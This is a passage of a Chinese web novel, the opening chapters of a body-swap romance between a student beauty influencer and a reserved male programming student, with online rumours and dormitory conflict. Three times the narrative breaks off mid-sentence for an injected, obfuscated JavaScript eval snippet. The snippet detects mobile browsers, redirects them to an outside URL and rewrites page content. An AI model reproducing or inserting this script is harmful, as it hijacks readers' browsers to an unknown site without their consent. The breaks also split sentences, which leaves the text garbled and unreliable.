《男神怎么一脸娇羞[互穿]》 1. 苦命博主 606宿舍。 华可吟刚从教学楼上完课就风风火火跑回了寝室，打开电脑桌面的剪辑软件是已经拍完了一个月的视频。 这是华可吟第一次和大牌美妆公司有合作的机会，她信心满满地提前拍好后发给对方pr，不料视频连着三次都被打回。 “1:40秒的画面饱和度太高。” “再加一段粉扑的特写。” “鼻翼部分的细节还是不要了。” ... 修改意见如雪花般飞来，华可吟为了这个视频忙碌了一整个星期，没想到昨天说好的合作方在下午高数课上又发来新的要求。 “你好，粉扑特写还是删掉吧。” 课间华可吟打开手机看到这条消息时只觉得气血上涌，她强压情绪回复道：“好的，请问就这一个要求了吗？【微笑】” 对面却仿佛没有察觉到她文字里隐藏的情绪。 “如果有其他要求，后续我再联系你。” 华可吟深吸一口气，用手给气红的脸扇风，想想品牌的报价还是无奈地回了一句：“好的【ok】”。 不等上厕所课间就结束了，讲台上刚刚不小心吞下了保温杯里枸杞的教授清了清嗓子，继续讲微积分，坐在最后排角落的华可吟立马放下了手机认真听讲。 大一开学已经两个月了，华可吟的大学生活从起初的好奇兴奋，逐渐变成现在的劳累不堪。 高考超常发挥让她成功被录入了著名院校S大的公共管理系，自此开始了每周四天早八的大学生活。 华可吟不是个懒惰的人，可学霸众多的S大浓厚的学习氛围让她有点力不从心，比如宛如天书的高数课，比如每节课都占不到位置的前排座位。 这么看华可吟就是千千万万大学生中普通的一员，但华可吟还有另一个身份——网红。 高考后，同班同学将高中合照发布在网上，照片中五官深邃浓艳，气质却十分清丽的女生吸引了不少网友的注意。见此状况，在朋友的鼓励下，华可吟陆续将高考后假期的旅游照片发布在各个平台，粉丝数虽增长缓慢却也在稳步提升。 * 转变发生在军训期间。休息时，同穿军训服的一个陌生女生跑来与华可吟合照。 华可吟长相出众，从进入班级就比较受到关注和欢迎，但如此热情的“自来熟”还是让她有点意外。不过在公共场合，她还是礼貌地欣然接受了。 可当天晚上华可吟就发现，下午的女生将她们的合照发布在了视频网站上，还打上了学校的tag与定位。 这条视频瞬间爆火，美女配名校的效果热度惊人的高，短短几个小时间，被评论区指路的华可吟账号就涨了十万粉丝，并且数量还在持续攀升。 虽然觉得对方没有告知自己就发上网的行为有点不礼貌，但看着上涨的账号数据，她也不好过多指责。 没想到第二天好闺蜜程雨濛发来一篇帖子： 【大家怎么看外校网红来蹭本校热度】 点进帖子赫然就是昨天那个女生的主页和她们两的合照截图！ 原来昨天同样穿着军训服来找她合照的人并非S大的同学，而是隔壁同样坐落于江市大学城的另一所录取分数较低的院校的学生。 据帖子爆料，这个同学经常混入S大的校园，专门在教室、学校地标前拍摄视频，有时还发些“请粉丝一起来吃二食堂呀”之类的文案，误导网友把她当成了S大学生，甚至还有一部分刷“S大美女学霸”的水军号。 网络上大大小小以名校为噱头的博主并不少，要不是那条和华可吟穿军训服的合照视频太火，可能也不会被人搬运到校内论坛上批判。 —又来了，这种人高考有没有三百分。 —教学楼已成网红打卡处... —右边那个是同个mcn公司的吗？怎么都一个套路。 —链接给我，我去骂。 —现在网红是不是复制粘贴的啊，p得都差不多。 看到楼内战火已经蔓延到了自己身上，华可吟当时真是身感劳累与无辜。 她和程雨濛解释了一遍事情的来龙去脉，想给同校同学解释清楚，却又觉得专门发帖或发视频澄清有些小题大做，。毕竟合照是她同意拍的，对方也没有造谣她什么，而且自己的账号已经又涨了三万粉丝。 华可吟后续立刻给合照网红的账号发去了私信，要求删除她出镜的照片，对方也很爽快，回复了一句“不好意思，那我重新发一条不带你的吧”。 接着她又转弯抹角才找到负责校内论坛运营的同学删除了帖子。 此时程雨濛又分享了一个新帖链接，“误伤美女了——这位同学的具体院系我就不透露了，总之人家真的是我们学校的美女。”还附带了一张华可吟手拿学校手册的照片，这是她们两报道时互相拍的。 —鱼孟：可吟，我看不过她们骂你，看姐的小号！ 今天的这种热闹在平常都发些“谁拿了我的外卖”，“电瓶车头盔贼给我等着”的帖子里显得尤为特别，因此程雨濛发的新帖底下的回复也刷得飞快。 —还真是我们学校的啊，好漂亮，大几的？ —关注去了，舔屏美女姐姐。 —只有我一个人觉得本校的蹭热度也挺可笑吗... —呵呵，S大真是什么人都有，靠什么进的学校还不好说吧。 华可吟往下翻，评论有好有坏。S大聚集了各省的学霸，校风严谨，同学们平日作风也都十分朴素，认真学习、卷绩点才是几乎所有学院同学的日常，他们会反感这种借学校名称为与学习无关的账号引流的行为也情有可原。 但匿名论坛帖子后排有些人纯粹是在发泄恶意，甚至给在这件事里明明什么都没做错的华可吟造谣。 —鱼孟：我服了，有些人打字太脏了，我都快举报不过来了。 —sing：呜呜，还为了我专门发帖【哭】【亲亲】，他们就是靠骂人解压呢，你也别看了，我再去找管理员删除一下帖子。 —sing：过几天请你去吃饭！ —鱼孟：芜湖～ 自从做自媒体以来，华可吟可以说是见识到了以前从来没想过的来自互联网的黑暗，不停有陌生人在私信里给她发骚扰言论，她早已习惯了忽略这些。同样，这次她也没点进去看后台在今天一天内积赞了999+的留言。 这个时段不少人正在休息刷手机，一个男生宿舍里陈东大声嚷嚷道：“这妞挺漂亮，还是我们学校的，身材也不错。” 边说边拿着手机挨个走到宿舍其他三人面前，几个男生一起对华可吟的主页连划数条视频。 当走到最后一个室友那里时，陈东拍拍坐在电脑前男生的背，把手机屏幕往前递：“喂，你也看看。” 柏随远取下一边耳机，回过头冷冷道：“谢谢，我不看。”随机戴上耳机转了回去。 看着男生淡漠的神情和在键盘上翻飞的修长手指，陈东嘟囔了一句：“装什么装”。 * 回想起一个半月前差点被网暴的悲惨经历，华可吟也说不上是悲还是喜。 截止到今天，她的各个平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334475|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台粉丝加起来已经超过了一百万，光是图片、视频浏览量就给她带来了足够覆盖学费的收入。更是有不少品牌来找她合作，说不上来有没有“名校学生”这个标签的原因。 她顾及自己的内容质量，精挑细选后留下了几个有保障的产品，其中金额最大、名气最响的，就是正在剪辑的lockin粉扑测评视频。 一直剪辑到晚上八点才把新的邮件发出去。下楼去学校里的超市随便买了点饭团填饱肚子，回到寝室又开始写老师刚留的这周高数作业。 高数题令人头昏脑胀，要不明天再写吧... 华可吟搓搓脸，正准备洗澡睡觉，微信传来一阵震动，居然又是lockin的pr！ “你好，我们经理新要求所有推广视频字幕都要在气垫名称后加上新版本的提示。这个要求不算麻烦，今晚零点前发给我就行了。” 看着手机上的22:21，华可吟想杀去lockin总部的心都有了，自己员工加班到这个时间就算了，怎么连合作方都要折磨至此啊。 可赚钱哪有不怂的，合同要求了她得改到对方满意，华可吟又又又又压下了怒火，回复了一个字：“行”。 晚上宿舍浴室会断热水，华可吟迅速去洗了个澡，回来时有两个室友已经躺在床上了。 华可吟和她们说自己可能要用电脑鼠标到晚点时间，一个很随和地说了好，另一个没出声。 翻开电脑，把进度条调到添加效果的地方，华可吟突然觉得屏幕上白色边框的字有了模糊的重影。 她揉揉眼睛，却还是没办法对焦，甚至太阳穴也开始胀痛起来，眼前的光源完全糊成一片。 终于，华可吟眼前一黑，闭上了眼。 …… “柏随远！” “柏随远！” 华可吟感觉有人在拍打自己的肩膀，脑袋昏昏沉沉地清醒过来，睁开眼却是两个陌生人。 “啊。”华可吟尖叫了一声后迅速跳起身往后面靠。 面前两人也明显被她吓了一跳，左边的长发男生把手举到眼睛的高度晃了晃说：“柏哥，你是不是太困睡着了。” 华可吟没听清前面两个字，但是稍微冷静了点，这两个陌生人一脸蒙圈的样子也不像是要对自己做什么。 可紧接着她发现这是一间酒店的房间，甚至是一间商务套房。她紧靠的墙边有一张长桌，朝另一边看过去有三张单人床。 要是自己生病昏迷，醒来也该是在医院或宿舍，这样两个陌生男人和一个女孩的诡异场合绝不是个安全讯号。 说时迟那时快，华可吟一个闪身就从两人旁边窜了过去往房门跑。 只是刚起步就觉得身体比往常沉，她高中八百米可是能跑满分的人，看来身体真的出问题了，情况不妙。 跑到门口已经出了一身冷汗，她拉开门左右一瞧便向右奔去。狂点电梯的时候房间里的两人也追出来了，口中好像还喊着什么什么哥。 难道还有同伙？华可吟真的觉得自己这次要完蛋了，电梯门打开的那一刻她猛冲进去用最快的速度按下了关门键。 电梯从8楼下驶，她用手捂着胸口喘气，思考楼下有坏人同伙在堵她的可能性，便把四楼、三楼、二楼都按亮了，决定等会在中间层下电梯，找机会躲藏一下，伺机而动说不定能找到出路。 规划好逃跑计划她才有空站稳身体，视线旁却感觉出现了一个男人的身影。 思及什么，她猛地一抬头。 电梯镜子里一张长相俊朗、神色难看的男人的脸正和她对视。 2. 苦命同学 柏随远觉得头有点晕，猜想是不是因为自己这几天通宵熬夜，睡眠严重不足。 建模比赛的截止日期快到了，他们组必须得在今天把模型的检验做完。 这次比赛要求三人一组，他们这组的组长是数学院的方奎学长。方奎参加过上一届比赛，并获得了还不错的奖项。 因此这次愿意带着才上大一的柏随远以及来自外语系的楚以诚两人一起参赛。 柏随远和楚以诚在自己专业都名列前茅，小组三人投入了很多时间精力，对自己的成果都较为自信。 不过成员们来自三个院系，他们的空闲时间交集很少。自从参赛以来，开会次数并不多，像这样凑在一起做面对面交流的机会也不多。 今天是周五，方奎学长周末还有家教工作，于是三个人找了酒店，决定通宵完成任务——这种情况在比赛期间很常见。 出手一向阔绰的楚以诚不愿意住学校附近的小酒店，便订了星级酒店的行政套房。 柏随远负责编程，做到现在，他还是觉得模型有瑕疵。他已经连续熬了三天夜，身体这时候有任何反应都实属正常。 他抬起左手揉了揉太阳穴，打算坚持做完再休息。 可没想到，起初只是头侧面的一点点晕眩逐渐蔓延到眼前，他晃晃脑袋都无法缓解。 就在他打算起身去床上休息一会的时候，突然失去了意识。 脸上传来冰冰的触感，似乎是键盘，柏随远捂着脑袋缓缓抬起头，屏幕里正在播放一个花里胡哨的视频。 不对，柏随远瞬间反应过来，这不是他常用的那台笔记本电脑，所处背景也不是酒店的办公桌。 他警惕地站起身观察四周，这是一间已经熄灯了的女生宿舍，只有他所在的这张桌子上的台灯发出暖黄色的光。对面的床帘里隐隐透出手机的亮光，他有点无法判断这是不是真实世界... 看到桌子上的大镜子，镜子里的女生无疑是很美的。高挺的鼻子搭配深邃的眉眼，浓密的眼睫毛被灯光照出一截阴影投在白皙细嫩的脸上。 这是谁的脸？ 柏随远笃定自己不会梦到不认识的人，这显然不是梦境。 他依旧没有惊扰宿舍床帘里的三个人，从桌上拿起手机，轻手轻脚地向宿舍阳台走去。 人脸识别后拨出熟悉的电话号码，他心里紧张极了。 “嘟嘟嘟。”还好电话能够打通。 第一个去电没有人接，他戴上耳机，一边继续打电话一边点进了微信——普通人日常最常用到的软件，他需要确定自己现在的身份和所处的环境。 万幸还不等他细看手机，电话那边就传来了熟悉的声音：“喂，您好，柏哥现在有点事接不了电话。” “楚以诚。”他脱口而出：“你们现在还在伊蔓酒店吗？” “哎，你是谁啊，这也没备注啊。”楚以诚对立刻叫出他名字的女声满心疑惑，但能够准确知道柏随远今天去向的，肯定是他熟悉的人，他连忙说：“柏哥刚冲了出去。” 柏随远听到这个回答，心里已然有了猜测，对方应该是遇到了和他相同的情况，他冷静地说：“你们去把他找回来，我马上就到。” “行...哎，柏哥回来了。”电话里传来喊声：“柏哥，你怎么了？怎么刚跑出去了？你拖鞋呢？” “我...我没什么。”那头本属于自己的声音此刻在柏随远听起来居然有点陌生。 “你把电话给他。”柏随远提高了音调。 “柏哥，刚打电话找你的。” 华可吟刚从自己变脸的余惊中缓过神来。 在经历了摸摸手臂确认身体不是自己的、掐掐脸确认不是在做梦、测测脉搏确认自己还活着后，她在路过保洁的帮助下原路返回了8层房间，刚进门就得到长发男生递来的大屏手机。 原来我现在姓柏。 华可吟接过电话放在耳边，不敢先出声。难以想象她有多害怕这个电话现在告诉自己，正身处于某个小说世界或者无限恐怖游戏里。 “你是柏随远吗？”听到这熟悉的悦耳声音，华可吟简直要喜极而泣。 楚以诚看着行为略显古怪、和平时截然不同的柏随远，默默走到方奎旁边小声问道：“学长，柏哥是不是最近压力太大了，要不我们今天先休息？” 方奎也震惊于柏随远今天的明显异常，可剩余时间真的很紧了，他还是语气略带试探地，用屋里三人都听得到的音量说：“等随远缓一缓再继续。” 察觉到两个男人怪异的目光，华可吟拿着手机走到门口，背对他们悄声说：“我是华可吟。” “好的，我现在去找你。”柏随远想起她刚刚微微发抖的语气，又补充了几句：“我叫柏随远，旁边两个是和我一起参加比赛的同学，我们今天要在酒店通宵赶工。” 对面人的语气很平静，华可吟听到自己所处身体和其余两人的身份后，也觉得没有那么慌了。 她的脑袋飞速运转，思考片刻后又说道：“可以把我桌子上的电脑带上吗？” 听到对方这个要求，柏随远少见的迟疑了几秒才回答：“可以。” 他把桌上电脑、充电器、鼠标都装到了衣柜侧面挂着的书包里，便立即朝外走。 走到一半停了脚步，又回来拿下了衣柜最上层的毛衣，用尽量不会触碰到身体的姿势套在了身上，接着又披上了披在椅子靠背的外套，这才用手机软件呼叫打车。 挂断电话后，华可吟还是没敢继续呆在房间里，和两人借口想去休息一下，就下楼坐在大厅沙发等候。 空荡荡的大厅里只有另一边沙发上坐着一个男人，以及对视时会触发职业笑容的前台小姐姐。 华可吟想玩手机缓解一下此时的心情，人脸识别成功后看着陌生的桌面，又有点不好意思窥探别人的隐私，只好望向大门，警惕地、又透出几分呆气地合膝而坐。 急忙打车而来的柏随远一进酒店大门就看到了自己的身体以一种从没体验过的弓腰姿势瘫坐在棕色沙发上，正搓着手臂，眼神呆滞地望向这边。 他赶忙走上前，仿佛特务接头般小声与对方对暗号：“我是柏随远。” “我叫华可吟。” “你的电脑。”对方在这种情况下都心心念念要随身带着的电脑，柏随远第一时间就递了过去。 “谢...谢谢”第一次用这种视角看自己，华可吟从柏随远走进来的那一刻就呆住了。 “我们先再开两间房吧。”柏随远把兜里的手机递给华可吟后说：“你的身份证不在桌子上，手机里应该有电子的。” “好。”华可吟立马意识到，以两个人现在的身体状况，还是适合待在没有人的地方才能把事情研究清楚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334476|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “先生，小姐。房间号612、613，刷卡乘电梯从这边走哦。” 正在办理入住的两人都没发觉，大厅里刚刚坐在沙发上的中年男人此时正紧盯他们。 * 柏随远走到612房间里先给方奎、楚以诚二人发了消息，表示自己可能还要等一会再上去。 接着转头看向房间里另一道高大的身影，问道：“你呢，你在晕眩前有发生什么特别的事吗？” “没有，一切都很正常，突然我就觉得眼花缭乱，还头痛，没几分钟就晕过去了，再醒来就是楼上的房间。” “看来我们找不到导致现在状况的原因，甚至我们使用的电脑、软件，今天去过的地方、吃喝过的东西都不一样。”柏随远冷静道。 “是的，但我们最好先别告诉别人。”华可吟分析完觉得他们两最好保持原先原身的状态，她不敢想象这么离奇的事情曝光后会发生什么。 柏随远显然体会到了她的未尽之意，点头赞同道：“还不知道我们什么时候...或者还有没有可能换回来，总之先扮演好各自的角色吧。” 说罢，柏随远的语气更缓和地说：“可能要麻烦你先帮我上楼去把我的电脑拿下来，我今天要做的东西有点重要。” “没事没事，你也帮我把我的电脑带来了。”华可吟摆手笑道。 柏随远觉得眼前的身体只是换了个灵魂，却好像哪里都不一样了，他以前从没发觉他那张总被人吐槽没表情的脸居然能笑得这么阳光开朗。 “...谢谢。” 华可吟来到八楼，深吸了一口气，回想刚刚从自己口中发出的冷漠平静的语气，敲响803房门，进入后学着说道：“来拿电脑，我去楼下房间写。” 已经收到消息知道柏随远开了另一个房间的方奎递过电脑。 等下周论文交了，他一定，一定得劝师弟去医院检查检查。 上一趟还满脸好奇的楚以诚此刻也坐在桌子后面，认真对着电脑敲打些什么。 华可吟瞟了一眼，道谢后就怀抱电脑跑下楼，现在已经十一点半了，她得赶紧把视频改出来啊！ 两人面对面坐在标间小小的桌子两边，因为只有一张椅子，柏随远把它让了出来，自己坐在了床边。 终于发去了最后一版视频（她真心祈求这就是最后一版了），华可吟整个人瘫坐在椅子上。 今天怎么能发生这么多事情啊。 对面的柏随远依旧手指飞舞在电脑前忙碌，屏幕发出的荧光照在脸上。 原来自己认真起来是这个样子啊，华可吟认真观察了一番，突然发现自己虽然下身依旧穿着睡裤，上半身的着装却比刚洗完澡时得体得多。 她的脸有点热，随即又想到自己现在的这张脸，和下午确认自己身体有无变化时摸到的肌肉，好像也不是很亏… “你先休息吧。”早就察觉到一道热烈的目光，柏随远没有参透那张脸陌生的表情背后蕴含的情绪，开口劝道。 华可吟总觉得这样孤男寡女共处一室的情景，即便是扭曲版的男女，也太过别扭。 可她再如何控制精力，现在的眼皮上仍仿佛担了千斤重的石头，躺在床上一边低喃：“真的好困啊，我平时没有这么困的。”一边缓缓进入了梦乡。 心知自己熬了太多夜的柏随远：...... 3. 睡裤回校 第二天早上，华可吟是被一阵强烈的尿意憋醒的。 她顾不上留意周边环境，刚穿上鞋就冲去了厕所。出来时仍旧睡眼惺忪，挠挠头看着已经又坐在电脑前的柏随远随口问道：“昨天晚上你是不是没上厕所？”其实她想说过度憋尿对肾不好。 柏随远在华可吟醒来的第一时间就有所察觉，想到女孩从床上跳起奔向厕所的背影以及刚刚她询问的那句话，耳朵渐渐泛起了微不可查的红晕。 柏随远闭口不谈的态度让华可吟迅速反应过来，昨天她在柏随远身体里时也尽量避免了喝水和如厕。 为了缓解这突然安静的气氛，华可吟尴尬地笑了两声，接着询问：“我们两这就算是换回来了啊，你说还会不会发生这样的情况？” “我们是早晨十点四十分换回来的。”柏随远扶了扶眼镜，他近视只有两百度，但因为高中时期每天都在上课-做题的高强度用眼环境中，他已经习惯不论什么时候都带着眼镜。 今天早上七点多，他起床后去楼下吃早饭。 服务生刷完房卡后把他的房间号念了出来，当时经过旁边桌的正是早起吃过饭后要赶往家教工作的方奎学长。 学长听到这个房间号简直是如雷贯耳，愣在了原地喃喃：“这不是...这不是小柏的房间吗？” 听着学长笃定的语气，柏随远明白可能无法用“不认识”的理由骗过学长，便正色解释道：“他住在613。” 方奎知道了这个答案更震惊了，他倒是相信柏随远的人品，绝不是会胡来的人，那么这个妹子是小柏的女朋友？ 看着眼前高挑靓丽，即便是穿着简简单单的黑色内搭和牛仔外套，披着头发素面朝天，依旧光彩照人的女孩，方奎不禁联想到两人站在一起的画面，倒是十分相配。 其实，他刚才也是因为一进餐厅就看到有个美女在中央坐下才注意到这边的... 可就算只是和女朋友开了两间房住了一晚，方奎也不愿相信柏随远是连出来完成竞赛都要带着女朋友谈恋爱的人。 想到对方昨天突然离开的事情，即便是柏随远快速发送了成果，方奎仍旧有点恼火。他以为的学习专心、做事踏实细致的学弟居然这么恋爱脑吗？ 学长脸色变了又变，最后皱眉和柏随远道了别，柏随远猜到学长可能是不满意了，因为昨天临阵而逃的确实是他。 如果项目因为昨天线上交流对比面对面交流所丧失的细节而出现瑕疵、无缘奖项，柏随远会认为所有的过错都在自己身上。 所以他快速吃了早饭，又打包了一点带给还在楼上睡觉的华可吟，立马回到房间再检查了一遍结果，又看了看自己的课表，计划下周找时间分别去学长、楚以诚那里聊聊还有什么没做完。 就在他坐在电脑前细心优化的时候，那股熟悉的眩晕感再度袭来。 这次柏随远没有丝毫惶恐。一睁眼，果然回到了床上的躯体，而桌边华可吟也正趴在键盘上沉睡。 他扶着华可吟的肩膀和手臂把她抬到了床上，期间华可吟朦朦胧胧中帮忙维持平衡后居然都没有醒，躺到了床上依旧睡得香甜。 因为担心阳光太刺眼，房间里的窗帘一点都没拉开，只开了靠近书桌的一盏小台灯。 柏随远看着女孩在微弱光下的熟睡的脸，思考对方是不是和自己一样真的一无所知。 安顿好华可吟后，柏随远拿出自己的手机对照昨天夜里电话的时间，他推断两个人的互换持续了十二个小时左右。 “这个数字太凑巧了，所以我怀疑还有下一次。”柏随远分析道。 “看来我们得做好准备了，先加个联系方式吧。”华可吟心里也觉得这桩怪事毫无预兆地发生，时间又如此凑巧怪异，怎么看都不像一个好兆头。 两人拿出手机互相扫了微信。华可吟的微信名称是“sing”，头像是一只金渐层。柏随远的微信名是“road”，头像是张整体深绿色的森林照。 华可吟顺便看了下自己的微信消息，昨天晚上十一点五十六她发去了新邮件，而pr在凌晨一点回复她了一句“收到”。 lockin公司似乎真的不做人... 不过来不及可怜pr，她只希望这一版品牌方不要再临时更改要求了，快快发布、快快结束、快快打钱，一切顺利就好。 上面的聊天框里还有程雨濛让她帮忙挑选项链的消息，华可吟选了看起来更加华贵的一条。 她喜欢浓烈风格的衣服、鞋、饰品。虽然周内要上课的日子她都是忙到随便套个卫衣就赶去教室，但周末和课余拍摄视频时她都会做视觉感较强的造型，再偶尔穿插一些素颜的校园日常，观众们很吃这种反差感。 往下翻翻聊天框，居然还有团长在昨天十点多给她发的消息，询问她是否有参演这次新话剧彩排的意向。 军训后的“百团大战”华可吟也去凑了热闹，因为太过显眼被几个社团争抢，最后是表现得异常开朗的话剧团团长把她招进了话剧团。 S大话剧团非常有名，不仅每年都参加各院系的毕业晚会，甚至每届大学生戏剧节都有作品参加。 华可吟对话剧很感兴趣，但她从进入校园开始自媒体事业发展迅速，还没有找到学习与副业之间的平衡点。 加之S大话剧社质量非常高，日常排练任务繁重，她只在刚加入的两周去体验过话剧氛围，之后以没有时间为由退出选角。 不过她和团长道过歉也认真解释过，团长非常大度地表示理解且统统批准了，但每次有新剧本还是会过来邀请她一下。 —sing：不好意思团长，最近我要录的内容有点多。【鞠躬道歉】 —sing：下次例会我一定到，给大家带奶茶呀。【献花】 —团长：那下次等华同学来哦～ 回复完所有信息，华可吟和还在电脑前忙碌的柏随远道别。 柏随远低头看看时间，他也该回学校了：“一起。” 两人搭上计程车回到宿舍区。今天是周六，校园里来来往往的人很多。 柏随远下车后就快步往里走，两个人的宿舍明明有一段是同方向，他却没有完全管身后的华可吟。 看着前面完全追不上的背影，华可吟也没有了继续聊天的心。 她一步一步爬楼，在上楼时碰到了正下楼买午饭的室友。606宿舍是四个上床下桌的床铺，其余三个女生间的关系比较好。 华可吟也不苦恼，她们三个平时上课一起坐，下课一起去图书馆，节奏一致。她花费在学习上的时间比她们少，相处少了关系自然没那么亲密。 三个人中，昨天对她的提醒朗声答好的叫李凌，另外两人和她的交流比李凌还要少。 开学前几节课李凌帮她也一起占过座位，可华可吟没办法像大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334477|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多数同学一样一整天都呆在图书馆和教学楼，不论多分散的课他们都能在课前就赶到占位。 室友帮她占了位置后，她在上课铃响之前才在众目睽睽下坐到教室的黄金位置，这种感觉太不好受了，之后华可吟都谢绝了李凌的占位帮助，但会经常带点零食蛋糕回宿舍分。 现在在楼道里遇到的舍友叫林书萍，平时话很少，几乎没怎么和华可吟说过话。 此时林书萍看到华可吟身上的衣服。华可吟的睡衣是丝质的黑色长袖长裤，穿着睡裤在外面不仔细看不会被看出是睡裤，可舍友怎么会不知道华可吟的睡衣长什么样。 林书萍看看华可吟的裤子，又想到对方昨夜未归的事，顿了顿好像要说什么，最后却只是留下来了个奇怪的眼神就走了。 华可吟看到了对方奇怪的反应，想也是自己在人声鼎沸的大白天穿着睡裤走的模样略怪。 不过她是个不内耗的人，对方没在她面前说什么，她也就不去想别人对她的看法和意见了。 开玩笑，她现在哪里有时间天天内耗、反省啊。 刚起床后吃了柏随远带回来的饭，她一步三台阶地冲回六楼宿舍，坐在自己座位上缓了缓气，就立马投入到高数作业的奋战中了。 同一时间，柏随远也刚到408寝室，寝室里三个人都在，两个在一起开黑，另一个坐在床上刷手机。 刚还躺在床上的的陈东一见他刷卡走了进来就直起了身，语气急切地问道：“你和公管院那个网红在一起了？” 此话一出，旁边正在打游戏的两人也转了过来。 “碰巧遇到。”柏随远语气很冷漠，他不想跟这人多做解释。 “碰巧？”陈东脸上露出轻蔑的笑：“果然女生都是花痴，只看脸。” 不该理这个人，柏随远没有再分给讨厌的人哪怕一个多余的眼神，径直回到座位前打开电脑。 S大规定学生第一学期必须住学校宿舍，还会不定时查寝。很多家在本地或者想去外宿的同学都没能在校外租房子住，柏随远是这样，华可吟也是这样。 倒是旁边两人看不过去了。 “你酸什么呢，人家学习好长得又帅，讨女生喜欢又怎么了？” “这叫小白脸，女生最后还是会发现我这种充满男子气概的好。”陈东不甘心道。 他开学后连续喜欢上了班里三个女生，每个都是加人家联系方式，每天发送早安晚安，告诉班级里的男生他正在追人家。 这一套流程来了三次，他几乎被全班女生都拉黑了。 而班里异性缘最好的，除了上课表现好总得到教授夸奖，又长得高高帅帅的柏随远，就是一个非常乐于助人，每次上机课都会耐心解答旁边同学问题的温柔男生。 温柔男生陈东看不上，他自诩比那个男生长得高，背地里说那个男生一看见女生就献殷勤，叫人家舔狗。 结果被那个男生的舍友和几个女生在课间怼了之后，就不敢吭声了，转而有事没事在宿舍找柏随远的茬。 有了经验的他做起这种阴阳怪气的事愈发熟练，他暗自想，别看柏随远都没有回怼，肯定是憋在心里偷偷生他的气呢。 你有我的男子气概吗？你个细皮嫩肉天天带着眼镜的书呆子去过酒吧吗？想必还是处男吧... 陈东尽可能地找了自认为比柏随远强的方面，在心里默默达成精神胜利法。 4. 男模照片 周三，柏随远找去方奎学长跟他约好了的教室讨论模型，两个人商定最终结果后又聊了几句天。 方奎难得一见地扭捏道：“你上次那个女朋友...是叫什么什么吟吗？” 柏随远听到名字立马想起了华可吟，这几天他都担心着灵魂互穿会不会突然发生，但万幸一切如常。 不过为什么学长会突然提到她，柏随远认真道：“她不是我女朋友。” 方奎这时才打开手机的一个页面，是源自微博的一个爆料贴： “扒一扒学霸人设美女网红清纯校园生活背后的生意” 柏随远看到这个标题再联想到方奎询问华可吟的消息，就知道事情应该不简单。 他立马让方奎转发给他，余光却扫到分享给方奎的联系人居然是楚以诚。 “小楚...小楚他那天回校正好走在你们后面。”方奎结结巴巴解释道。 柏随远一瞬间即觉得这事情巧得好笑，酒店这么大、学校这么大，偏偏所有人都看到了他和华可吟走在一起。 心里又觉得这帖子传播居然这么广，楚以诚是从国外回国念书的华侨，朋友圈子与校内重合很少，居然连他都看到了帖子并且转发给了醉心学习几乎不闻窗外事的方奎学长。 点进去果然。帖子很长，前半篇讲了华可吟如何联合蹭热度女网红炒作出学霸身份，后半段开始暗示华可吟社会关系复杂，时常出入不正当场所，甚至还把她形容成了一个上有老男人包养，下花钱点男模的作风败坏的人。 而整篇文章唯一配上的图片，就是非常、非常、非常熟悉的背影照——柏随远本人站在华可吟旁等待前台办理入住的照片。 甚至照片下配字："路人偶遇此作风败坏网红亲自在大堂等鸭到来，接到后花枝乱颤、急不可耐地带人上楼，后续发生了什么就不能说了...” 柏随远看完帖子难得的气血上涌，他摘下眼镜揉了揉穴位仍旧没有恢复平静。 方奎在旁边看到这么激动的柏随远，想起前几天在酒店的事，他没有说出来楚以诚聊起这个女生时的原话。 “肯定谈好久了，柏哥都天天给人家报备行程。”楚以诚自信满满的脸浮现在他脑海。 “小柏，你先别急，这肯定是这种营销号乱写的。”不去想那些有的没的，方奎的主要任务还是先缓住柏随远。 小柏可不能再激动了呀，他那天晚上在房间突然激动起来属实有点疯。 “嗯，谢谢学长发给我。华可吟那天去找我只是因为我们两的电脑拿错了，她急着要用，所以直接去酒店了。这种文章完全是造谣的，我相信她也会尽快处理掉这些。” 看着学长明显不是全信的表情，柏随远也没功夫再解释一遍了，拿起书包就往外走，一边还把链接转发给了华可吟询问对方的情况。 华可吟现在更是气愤极了。 今天下午没有课，她约好了摄影师一起去市中心新开的甜品店拍摄衣服推广要用的照片。 她吃过午饭后就好好打扮了一番自己，来的路上吸引众多回头率，她有预感今天的成片肯定一次就能过，甚至会有很好的效果。 没想到照片还没拍几张，程雨濛的电话就打来了。 “吟宝，你看到那个帖子了吗？快告他！！！！”程雨濛义愤填膺的吼叫传来。 华可吟一听闺蜜这动静就知道，自己应该摊上事了。打开微信看程雨濛发来的链接，甚至一打开微博，首页推送就是那个匿名帖子。 一看配图的内容和拍摄角度，华可吟就猜到了是谁偷拍的自己。那天晚上坐在另一边沙发上一直低头看手机、豪无异常的光头男，居然不仅认识自己，还搞上偷拍造谣这一遭了。 